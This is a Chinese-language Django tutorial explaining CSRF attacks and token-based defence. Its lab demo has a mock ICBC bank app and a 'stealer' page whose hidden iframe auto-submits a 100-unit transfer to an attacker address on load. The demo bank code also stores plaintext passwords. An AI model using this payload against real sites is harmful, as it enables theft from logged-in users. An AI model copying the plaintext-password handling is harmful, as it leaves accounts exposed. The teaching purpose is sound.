伪造原理分析
:网站是通过cookie来实现登录功能的。而cookie只要存在浏览器中,那么浏览器在访问这个cookie的服务器的时候,就会自动的携带cookie信息到服务器上去。那么这时候就存在一个漏洞了,如果你访问了一个别有用心或病毒网站,这个网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求(比如ICBC的转账请求)。那么因为在发送请求的时候,浏览器会自动的把cookie发送给对应的服务器,这时候相应的服务器(比如ICBC网站),就不知道这个请求是伪造的,就被欺骗过去了。从而达到在用户不知情的情况下,给某个服务器发送了一个请求(比如转账)。
防御CSRF攻击 :
CSRF攻击的要点就是在向服务器发送请求的时候,相应的cookie会自动的发送给对应的服务器。造成服务器不知道这个请求是用户发起的还是伪造的。这时候,我们可以在用户每次访问有表单的页面的时候,在网页源代码中加一个随机的字符串叫做csrf_token,在cookie中也加入一个相同值的csrf_token字符串。以后给服务器发送请求的时候,必须在body中以及cookie中都携带csrf_token,服务器只有检测到cookie中的csrf_token和body中的csrf_token都相同,才认为这个请求是正常的,否则就是伪造的。那么黑客就没办法伪造请求了。在Django中,如果想要防御CSRF攻击,应该做两步工作。第一个是在settings.MIDDLEWARE中添加CsrfMiddleware中间件。第二个是在模版代码中添加一个input标签,加载csrf_token。示例代码如下:
服务器代码:
MIDDLEWARE= [
'django.middleware.security.SecurityMiddleware',
'django.middleware.gzip.GZipMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware']
模版代码:
<input type="hidden" name="csrfmiddlewaretoken" value="{{ csrf_token }}"/>
或者是直接使用csrf_token标签,来自动生成一个带有csrf token的input标签:
{% csrf_token %}
使用ajax处理csrf防御
:
如果用ajax来处理csrf防御,那么需要手动的在form中添加csrfmiddlewaretoken,或者是在请求头中添加X-CSRFToken。我们可以从返回的cookie中提取csrf token,再设置进去。示例代码如下:
function getCookie(name) {
var cookieValue = null;
if (document.cookie && document.cookie !== '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) === (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
var myajax = {
'get': function (args) {
args['method'] = 'get';
this.ajax(args);
},
'post': function (args) {
args['method'] = 'post';
this._ajaxSetup();
this.ajax(args);
},
'ajax': function (args) {
$.ajax(args);
},
'_ajaxSetup': function () {
$.ajaxSetup({
//beforeSend:在范松ajax请求之前需要进行的操作
beforeSend: function(xhr, settings) {
//test(str)是正则表达式匹配,str是指明在哪个字符串进行匹配;
//crossDomain判断是否是同域请求,如果是同域请求则返回Fause
if (!/^(GET|HEAD|OPTIONS|TRACE)$/.test(settings.type) && !this.crossDomain) {
xhr.setRequestHeader("X-CSRFToken", getCookie('csrftoken'));
}
}
});
}
};
iframe相关知识:
iframe可以加载嵌入别的域名下的网页。也就是说可以发送跨域请求。比如我可以在我自己的网页中加载百度的网站,示例代码如下:
<iframe src="http://www.baidu.com/"></ifrmae>
因为
iframe
加载的是别的域名下的网页。根据同源策略,js
只能操作属于本域名下的代码,因此js
不能操作通过iframe
加载来的DOM
元素。如果ifrmae的src属性为空,那么就没有同源策略的限制,这时候我们就可以操作iframe下面的代码了。并且,如果src为空,那么我们可以在iframe中,给任何域名都可以发送请求。
直接在iframe中写html代码,浏览器是不会加载的。
实例演示:
1. 新建名为icbc项目
2. templates文件如下
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>中国工商银行</title>
</head>
<body>
<h1>欢迎来到中国工商银行</h1>
</body>
</html>
login.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>中国工商银行-登录页</title>
</head>
<body>
<h1>中国工商银行-登录</h1>
<form action="" method="post">
{% csrf_token %}
<table>
<tbody>
<tr>
<td>邮箱:</td>
<td><input type="email" name="email"></td>
</tr>
<tr>
<td>密码:</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td></td>
<td><input type="submit"></td>
</tr>
</tbody>
</table>
</form>
</body>
</html>
register.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>中国工商银行-注册</title>
</head>
<body>
<h1>中国工商银行-注册</h1>
<form action="" method="post">
{% csrf_token %}
<table>
<tbody>
<tr>
<td>邮箱:</td>
<td><input type="email" name="email"></td>
</tr>
<tr>
<td>用户名:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>密码:</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>重复密码:</td>
<td><input type="password" name="password_repeat"></td>
</tr>
<tr>
<td></td>
<td><input type="submit"></td>
</tr>
</tbody>
</table>
</form>
</body>
</html>
transfer.html
{% load static %}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>中国工商银行-转账</title>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
{# <script src="{% static 'myajax.js' %}"></script>#}
{# <script>#}
{# $(function () {#}
{# $("#submit").click(function (event) {#}
{# event.preventDefault();//阻止默认的处理方法#}
{# var email = $("input[name='email']").val();#}
{# var money = $("input[name='money']").val();#}
{##}
{# myajax.post({#}
{# 'url': '/transfer/',#}
{# 'data': {#}
{# 'email': email,#}
{# 'money': money#}
{# },#}
{# 'success': function (data) {#}
{# // 如果状态码是等于200才会走到success的回调中#}
{# console.log(data);#}
{# },#}
{# 'fail': function (error) {#}
{# console.log(error);#}
{# }#}
{# });#}
{# });#}
{# });#}
{# </script>#}
</head>
<body>
<h1>中国工商银行-转账</h1>
<form action="" method="post">
<table>
<tbody>
<tr>
<td>转给:</td>
<td><input type="text" name="email"></td>
</tr>
<tr>
<td>金额:</td>
<td><input type="text" name="money"></td>
</tr>
<tr>
<td></td>
<td><input type="submit" id="submit" value="提交"></td>
</tr>
</tbody>
</table>
</form>
</body>
</html>
3. 模型文件如下:
models.py
from django.db import models
class User(models.Model):
username = models.CharField(max_length=100)
password = models.CharField(max_length=100)
email = models.EmailField(max_length=100, null=True)
balance = models.FloatField() #余额
4.表单文件如下:
forms.py
#encoding: utf-8
from django import forms
from .models import User
class RegisterForm(forms.ModelForm):
password_repeat = forms.CharField(max_length=20)
def clean(self):#因为要验证2次密码的输入是否是一致的,而且需要验证的是2个字段以上的才重写这个方法
#否则的话验证一个字段的话就重写的是message_字段名()这个方法就行了,但是这个方法只能验证一个字段
#所以在重写的时候需要认真谨慎选择方法!
cleaned_data = super(RegisterForm, self).clean()
password = cleaned_data.get('password')
password_repeat = cleaned_data.get('password_repeat')
if password != password_repeat:
raise forms.ValidationError('两次密码输入不一致!')
return cleaned_data
class Meta:
model = User
fields = ['username','password','email']
class LoginForm(forms.ModelForm):
class Meta:
model = User
fields = ['email','password']
class TransferForm(forms.Form):
email = forms.CharField(max_length=100)
money = forms.FloatField()
5. 视图 文件如下:
views.py
from django.shortcuts import render,redirect,reverse
from django.views.generic import View
from .forms import RegisterForm,LoginForm,TransferForm
from .models import User
from django.db.models import F
from django.http import HttpResponse
from .decorators import login_required
from django.utils.decorators import method_decorator
def index(request):
return render(request,'index.html')
# 登录
class LoginView(View):
def get(self,request):
return render(request,'login.html')
def post(self,request):
form = LoginForm(request.POST)
if form.is_valid():
email = form.cleaned_data.get('email')
password = form.cleaned_data.get('password')
user = User.objects.filter(email=email,password=password).first()
if user:
request.session['user_id'] = user.pk
return redirect(reverse('index'))
else:
print('用户名或者密码错误!')
return redirect(reverse('login'))
else:
print(form.errors)
return redirect(reverse('login'))
# 注册
class RegisterView(View):
def get(self, request):
return render(request, 'register.html')
def post(self, request):
form = RegisterForm(request.POST)
if form.is_valid():
email = form.cleaned_data.get('email')
password = form.cleaned_data.get('password')
username = form.cleaned_data.get('username')
User.objects.create(email=email,password=password,username=username,balance=1000)
return redirect(reverse('login'))
else:
form = RegisterForm()
# errors=form.errors
return redirect(reverse('register'),{'form':form})
# 转账
@method_decorator(login_required,name='dispatch')
class TransferView(View):
def get(self, request):
return render(request, 'transfer.html')
def post(self, request):
form = TransferForm(request.POST)
if form.is_valid():
email = form.cleaned_data.get('email')
money = form.cleaned_data.get('money')
user = request.front_user
if user.balance >= money:
User.objects.filter(email=email).update(balance=F('balance')+money)
user.balance -= money
user.save()
return HttpResponse('转账成功!')
else:
return HttpResponse('余额不足!')
else:
print(form.errors)
return redirect(reverse('transfer'))
def logout(request):
request.session.flush()
return redirect(reverse('index'))
6.迁移后启动服务器(POST端口设置为8000)
7.访问register页面如下图:
在这里我们随便注册2个用户,我注册的用户如图:
8.访问login登陆界面登陆正常的银行账户(此时session已经存在正常银行账号用户的浏览器)
此时我们去建立小偷的服务器,首先新建项目stealer,这个项目很简单
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>首页</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<img src="http://cms-bucket.nosdn.127.net/312e057a25f148519dc02b40812c78fe20170510155251.gif" alt="" width="100%" height="100%">
<iframe id="stealframe" src="" frameborder="0" style="width:0;height:0;">
</iframe>
<div id="box" style="width: 0;height: 0;">
<form action="http://127.0.0.1:8000/transfer/" method="post" id="myform">
<input type="text" name="email" value="stealer@zhiliao.com">
<input type="text" name="money" value="100">
</form>
</div>
<script>
window.onload = function () {
$('#stealframe').contents().find('html').html($('#myform'));
$('#stealframe').contents().find('html').children('#myform').submit();
}
</script>
</body>
</html>
views.py
#encoding: utf-8
from django.shortcuts import render
def index(request):
return render(request,'index.html')
设置2个文件即可(其他步骤省略,意会吧),然后启动服务器(这里的服务端口POST设置为80002,因为我是在本机运行2个项目的,所以端口不允许重复,不同机子可以相同端口,比如8000)
然后重要的一步来了,当正常用户在浏览器中点击黑客发给他的链接网站时候会去访问黑客的网站,只要访问这个网站,那么,正常用户的银行账户的钱就会减少100元(2个服务器都启动才能测试成功,一个是icbc服务器,一个小偷的stealer服务器),代码已经给出来了,自己测试下即可!注意,我们需要把icbc项目的csrf设置去掉才可以成功,否则不会转账成功